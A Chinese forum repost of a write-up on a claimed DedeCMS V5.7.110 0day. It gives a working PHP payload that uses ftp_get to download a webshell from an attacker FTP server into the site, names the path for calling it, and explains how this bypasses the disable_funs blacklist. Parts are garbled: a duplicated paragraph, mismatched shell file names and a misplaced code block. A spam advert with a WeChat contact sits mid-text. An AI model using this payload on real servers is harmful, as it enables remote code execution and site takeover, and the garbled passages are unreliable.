Dedecms最新版--0day分享分析(二)

打印 上一主题 下一主题

主题 904|帖子 904|积分 2712

前言

接之前写的一篇《Dedecms V110最新版RCE---Tricks》,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。
环境

下载最新版本:
https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip
[img=720,275.094]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445688.png[/img]
影响版本:
> 程序 >> 启用或关闭windows功能
</blockquote>[img=720,410.5642256902761]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445689.png[/img]
完成更改

计算机管理
[img=720,337.438]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445692.png[/img]
添加FTP站点
[img=650,573.3343055555556]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445693.png[/img]
配置地址以及账号密码
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
[img=650,554.7009722222223]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445694.png[/img]
上面存放一句话木马

文件内容为

payload如下:
  1. [/code]代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。
  2. [img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445697.jpg[/img]
  3. 文件保存后,访问路径
  4. /uploads/data/template.rand.php
  5. [img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445698.jpg[/img]
  6. 提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件
  7.  
  8. [url=http://dedecms.xyz:8066/uploads/data/shell1.php]http://dedecms.xyz:8066/uploads/data/shell3.php[/url]
  9. [img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445699.jpg[/img]
  10. 成功命令执行
  11. [size=3]漏洞分析[/size]
  12. [code]<?
  13. $ftp_server = "192.168.0.102";
  14. $ftp_username = "administrator";
  15. $ftp_password = "147258369";
  16. $file = "shell.php";
  17. $local_file = "shell2.php";
  18. // set up basic connection
  19. $conn_id = ftp_connect($ftp_server);
  20. // login with username and password
  21. $login_result = ftp_login($conn_id, $ftp_username, $ftp_password);
  22. // try to download $file and save to $local_file
  23. if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) {
  24.   echo "Successfully downloaded $file\n";
  25. } else {
  26.   echo "There was a problem while downloading $file\n";
  27. }
  28. // close the connection
  29. ftp_close($conn_id);
  30. ?>
复制代码
 
上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。
继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php
[img=720,365.16129032258067]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309051445700.png[/img]
代码中定义了disable_funs,但是禁用的函数涉及
  1. DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php
复制代码
在上面的payload中,利用手法利用点儿在于

ftp_get函数是可以绕过disable_funs的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。
小结

其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置,代码中disable_funs的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。
更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

羊蹓狼

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表